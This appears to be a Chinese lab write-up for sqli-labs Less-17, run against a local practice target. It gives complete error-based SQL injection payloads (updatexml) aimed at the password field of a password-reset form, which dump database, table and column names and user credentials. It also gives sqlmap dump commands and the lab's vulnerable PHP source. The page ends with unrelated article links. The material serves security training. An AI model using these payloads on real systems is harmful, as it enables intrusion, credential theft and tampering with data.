当前位置: 首页 > news >正文

sql-labs靶场第十七关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-17/

二、测试目的

测试post型的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

这是重置密码页面:

尝试发现,用户名username框不管包含单引号还是双引号,都是不会报错的;

密码new password框分情况:如果username框中输入的是系统中不存在的用户名,则new password框中不管包含单引号还是双引号,都是不会报错的;但如果user name框中输入的是系统中存在的用户名,则new password框中包含单引号会报错。

账号admin  密码加上单引号会报错

测试闭合方式

闭合方式为单引号,后面拼接报错注入方式可以查出结果

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select version()),1,31),0x7e),1)#&submit=Submit

②爆库,查看数据库名称

爆出所有数据库

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&submit=Submit

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&submit=Submit

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&submit=Submit

③爆表,查看security库的所有表

爆表,security表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&submit=Submit

④爆列,查看users表的所有列

爆列,users表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

发现查users表会出错,因为语句已经使用了更新数据的语句(是重置密码页面,因此,sql语句可能是update),不能再用updatexml函数查找这张表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#&submit=Submit

查其他数据库的表没问题

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from pikachu.users),1,31),0x7e),1)#&submit=Submit

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r  指定抓到的数据包文件

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables 

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])){
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  $passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;if($row){//echo '<font color= "#0000ff">';   $row1 = $row['username'];   //echo 'Your Login name:'. $row1;$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);echo "<br>";if (mysql_error()){echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";}else{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ;     echo "<br>";echo "</font>";}echo '<img src="../images/flag1.jpg"   />'; //echo 'Your Password:' .$row['password'];echo "</font>";}else  {echo '<font size="4.5" color="#FFFF00">';//echo "Bug off you Silly Dumb hacker";echo "</br>";echo '<img src="../images/slap1.jpg"   />';echo "</font>";  }
}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.先检测了用户名是否存在,存在才会验证密码,验证密码时直接引入了变量,存在sql注入,出错时会弹出报错信息。

3.这关是重置密码的页面,出错会弹出报错信息,只能在密码处注入,存在万能密码漏洞,使用报错注入出信息。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,只需要指定抓到的数据包即可。

这关使用报错注入得到结果。

相关文章:

sql-labs靶场第十七关测试报告

目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库&#xff0c;查看数据库名称 ③爆表&#xff0c;查看security库的所有表 ④爆列&#xff0c;查看users表的所有列 ⑤成功获取用户名…...

面试官:MySQL一次到底插入多少条数据合适啊?

前言 大家好&#xff01;在互联网时代&#xff0c;我们的每一个动作&#xff0c;无论是浏览网页、分享动态、点赞、购物或者搜索信息&#xff0c;都会在背后产生数据。这些数据&#xff0c;根据其用途和重要性&#xff0c;可能会被储存到不同的地方&#xff0c;其中最常见的存…...

WSL2 构建Ubuntu系统-轻量级AI运行环境

环境&#xff1a;Win11 软件&#xff1a;WSL2 安装环境&#xff1a;Ubuntu 22.04 检查电脑是否开启虚拟化 打开&#xff1a;任务管理器->性能->CPU CPU 开启虚拟化&#xff08;通常默认是开启的&#xff0c;如果没有开启需要BIOS开启&#xff09; 虚拟化设置&#xff0…...

什么是凸二次规划问题

我们从凸二次规划的基本概念出发&#xff0c;然后解释它与支持向量机的关系。 一、凸二次规划问题的详细介绍 凸二次规划问题是优化问题的一类&#xff0c;目标是最小化一个凸的二次函数&#xff0c;受一组线性约束的限制。凸二次规划是一类特殊的二次规划问题&#xff0c;其…...

解决 Elasticsearch cluster_block_exception 错误的终极指南

Elasticsearch 是一个功能强大的分布式搜索引擎&#xff0c;广泛应用于全文检索、实时分析等场景。 尽管如此&#xff0c;像任何复杂系统一样&#xff0c;它也会遇到一些运行问题&#xff0c;其中较为常见且影响较大的就是 cluster_block_exception 错误。 本文将深入解析这种错…...

QT sql驱动错误QMYSQL driver not loaded

引用文章QMYSQL driver not loaded 根据引用文章&#xff0c;到在编译QT mysql.pro的源码步骤时&#xff0c;构建没有报错&#xff0c;但是在对应的文件夹内没有找到编译好的dll文件&#xff0c;经过全电脑搜寻&#xff0c;找到在此文件夹内。 遇到同样错误的朋友可以找找QT安…...

数据驱动,漫途能耗管理系统打造高效节能新生态!

在我国能源消耗结构中&#xff0c;工业企业所占能耗比例相对较大。为实现碳达峰、碳中和目标&#xff0c;工厂需强化能效管理&#xff0c;减少能耗与成本。高效的能耗管理系统通过数据采集与分析&#xff0c;能实时监控工厂能源使用及报警情况&#xff0c;为节能提供数据。构建…...

PH47代码框架软件二次开发极简教程

1. 教程说明 本教程适用于对飞控及Stm32程序设计比较熟悉的二次开发者快速掌握PH47框架的使用要点。本教程仅对PH47框架中最主要的二次开发特性进行简要说明&#xff0c;建议与框架中\DevStudio\Algorithms\Controller_Demo.cpp(.h)示例代码配合学习。关于二次开发特性中的详细…...

SQL Server-导入和导出excel数据-注意事项

环境&#xff1a; win10&#xff0c;SQL Server 2008 R2 之前写过的放在这里&#xff1a; SqlServer_陆沙的博客-CSDN博客 https://blog.csdn.net/pxy7896/category_12704205.html 最近重启ASP.NET项目&#xff0c;在使用sql server导出和导入数据时遇到一些问题&#xff0c;特…...

Linux系统:配置Apache支持CGI(Ubuntu)

配置Apache支持CGI 根据以下步骤配置&#xff0c;实现Apache支持CGI 安装Apache&#xff1a; 可参照文章&#xff1a; Ubuntu安装Apache教程。执行以下命令&#xff0c;修改Apache2配置文件000-default.conf&#xff1a; sudo vim /etc/apache2/sites-enabled/000-default.con…...

qt 序列化和反序列化

序列化&#xff1a;QByteArray buffer; QBuffer bufferDevice(&buffer); bufferDevice.open(QIODevice::WriteOnly); QDataStream out(&bufferDevice); out.setVersion(QDataStream::Qt_5_13); 反序列化&#xff1a; void deserialize(const QByteArray &buffer) {…...

java实现文件变动监听

在文件的内容发生变动时&#xff0c;应用可以感知这种变种&#xff0c;并重新加载文件内容&#xff0c;更新应用内部缓存 实现 轮询&#xff1a;定时器Timer&#xff0c;ScheduledExecutorService 判断文件修改&#xff1a;根据java.io.File#lastModified获取文件的上次修改时…...

Maven的使用

1. Maven 简介 https://maven.apache.org/ Maven 是一个强大的项目管理和构建工具&#xff0c;广泛应用于 Java 项目中&#xff0c;旨在简化项目的依赖管理、构建、测试、部署等工作。Maven 主要通过定义 pom.xml&#xff08;Project Object Model 文件&#xff09;来管理项…...

C++开发进阶1:C++编程命名规范

进行C开发时最基础且最重要的是命名规范&#xff0c;掌握良好的命名规范能增加代码的可读性。 认识文件&#xff1a; .cpp&#xff1a;C 源文件. .h或.hpp&#xff1a;C 头文件 .tpp模板实现文件&#xff08;如果模板定义和实现分开&#xff09; .inl内联文件&#xff0c;…...

Android 图片相识度比较(pHash)

概述 在 Android 中&#xff0c;要比对两张 Bitmap 图片的相似度&#xff0c;常见的方法有基于像素差异、直方图比较、或者使用一些更高级的算法如 SSIM&#xff08;结构相似性&#xff09;和感知哈希&#xff08;pHash&#xff09;。 1. 基于像素的差异比较 可以逐像素比较…...

Gitlab 完全卸载–亲测可行

1、停止gitlab gitlab-ctl stop2.卸载gitlab&#xff08;注意这里写的是gitlab-ce&#xff09; rpm -e gitlab-ce 3、查看gitlab进程 ps aux | grep gitlab 4、杀掉第一个进程&#xff08;就是带有好多.............的进程&#xff09; 5、删除所有包含gitlab文件 find / …...

gitlab操作和管理

详细的说明下这几条指令&#xff1a; Git global setup git config --global user.name “” git config --global user.email “” Create a new repository git clone ssh://git12/letect.git cd vlm-event-secondary-detect git switch -c main touch README.md git add RE…...

ctfshow-web入门-反序列化(web254-web258)

目录 1、web254 2、web255 3、web256 4、web257 5、web258 1、web254 传入符合要求的用户名和密码即可&#xff1a; ?usernamexxxxxx&passwordxxxxxx 拿到 flag&#xff1a;ctfshow{e4795ccd-6bff-44b6-a15c-6c679d802e61} 2、web255 整体逻辑代码和上一道差不多 新…...

repo 命令大全详解(第十一篇 repo init)

repo forall 命令用于在指定的项目上执行给定的命令&#xff0c;非常适合批量操作。 参数分类及解释 基本参数 [<project>...]: 可选&#xff0c;指定要操作的项目。如果不指定&#xff0c;则对所有项目执行命令。 示例: repo forall my_project -c "git status&q…...

ComfyUI | 全新ComfyUI前端操作指南:提升你的工作速度!

随着WebUI基本停更&#xff0c;越来越多的AI创作者转向了ComfyUI。 ComfyUI最大的优势是简洁、高效、占用显存低&#xff0c;工作流模式虽然有一点入门难度&#xff0c;但一旦上手&#xff0c;操作非常舒适。 由于原Stable Diffusion团队的参与&#xff0c;ComfyUI的易用度也…...

3款高效开源工具实现抖音无水印视频解析与下载

3款高效开源工具实现抖音无水印视频解析与下载 【免费下载链接】DouYinBot 抖音无水印下载 项目地址: https://gitcode.com/gh_mirrors/do/DouYinBot &#x1f3af; 核心价值解析&#xff1a;技术赋能内容获取 在数字化内容爆炸的时代&#xff0c;抖音作为主流短视频平…...

终极Cursor Pro破解指南:免费解锁AI编程助手完整功能

终极Cursor Pro破解指南&#xff1a;免费解锁AI编程助手完整功能 【免费下载链接】cursor-free-vip [Support 0.45]&#xff08;Multi Language 多语言&#xff09;自动注册 Cursor Ai &#xff0c;自动重置机器ID &#xff0c; 免费升级使用Pro 功能: Youve reached your tria…...

nba篮球数据项目书

import pandas as pd import randomdef get_2000_nba_players():"""生成2000条NBA球员数据&#xff08;基于真实球员名 合理数据&#xff09;100%成功&#xff0c;无需网络请求"""# 真实NBA球员名&#xff08;前200名真实球员&#xff09;real_…...

腾讯云记忆服务,让智能助理进化升级

4月3日消息&#xff0c;腾讯云近日推出“Agent Memory”记忆服务&#xff0c;为智能助理OpenClaw补全长期记忆能力。接入该服务后&#xff0c;OpenClaw回答准确率大幅提升&#xff0c;还支持多种部署方式。创新记忆服务诞生腾讯云数据库团队自主研发了“Agent Memory”记忆服务…...

30美元实现AI视觉革命:OpenGlass开源智能眼镜的平民化方案

30美元实现AI视觉革命&#xff1a;OpenGlass开源智能眼镜的平民化方案 【免费下载链接】OpenGlass Turn any glasses into AI-powered smart glasses 项目地址: https://gitcode.com/GitHub_Trending/op/OpenGlass 当商业智能眼镜以数千元价格将普通用户拒之门外时&…...

OpenClaw 从翻车到迎来上百项更新:MiniMax、腾讯、阿里、有道 8 位专家拆解OpenClaw本土化实战解法

责编 | 梦依丹出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09;3 月 24 日&#xff0c;行业顶流 OpenClaw 在迎来号称自诞生以来的最大更新之后&#xff0c;却始料未及地上演了一段“装虾五分钟&#xff0c;修 Bug 两小时”的升级翻车大事故。由于强行将插件生态迁移…...

为什么你的Python AOT项目预算超支300%?2026成本控制策略失效的4个关键信号(附审计检查表)

第一章&#xff1a;Python原生AOT编译成本失控的根源诊断Python 原生 AOT&#xff08;Ahead-of-Time&#xff09;编译正面临严峻的工程现实&#xff1a;编译时间激增、内存占用爆炸、二进制体积膨胀&#xff0c;且生成代码性能常低于预期。这一“成本失控”现象并非偶然&#x…...

具备“看屏幕”能力的Agent能解决哪些传统接口无法解决的问题?实在Agent以ISSUT视觉感知构建企业级AI智能体新高度

2026年4月&#xff0c;人工智能领域正经历从“文本对话”向“具身操作”的范式跨越。根据腾讯云在2026年3月27日发布的《Agent全景产品图谱》&#xff0c;具备“看屏幕”能力的视觉智能体已成为破除数字化转型“最后一步”僵局的核心变量。在过去的一周内&#xff0c;清华大学与…...

终极指南:如何使用dnstwist与模糊哈希精准识别钓鱼网站攻击

终极指南&#xff1a;如何使用dnstwist与模糊哈希精准识别钓鱼网站攻击 【免费下载链接】dnstwist Domain name permutation engine for detecting homograph phishing attacks, typo squatting, and brand impersonation 项目地址: https://gitcode.com/gh_mirrors/dn/dnstw…...

S-UI前端工程化:ESLint与Prettier代码质量保障

S-UI前端工程化&#xff1a;ESLint与Prettier代码质量保障 还在为代码风格混乱、团队协作困难而头疼吗&#xff1f;S-UI作为专业的代理面板项目&#xff0c;通过完善的工程化配置确保了代码质量。本文将为你解析如何在类似项目中配置ESLint和Prettier&#xff0c;打造规范的开…...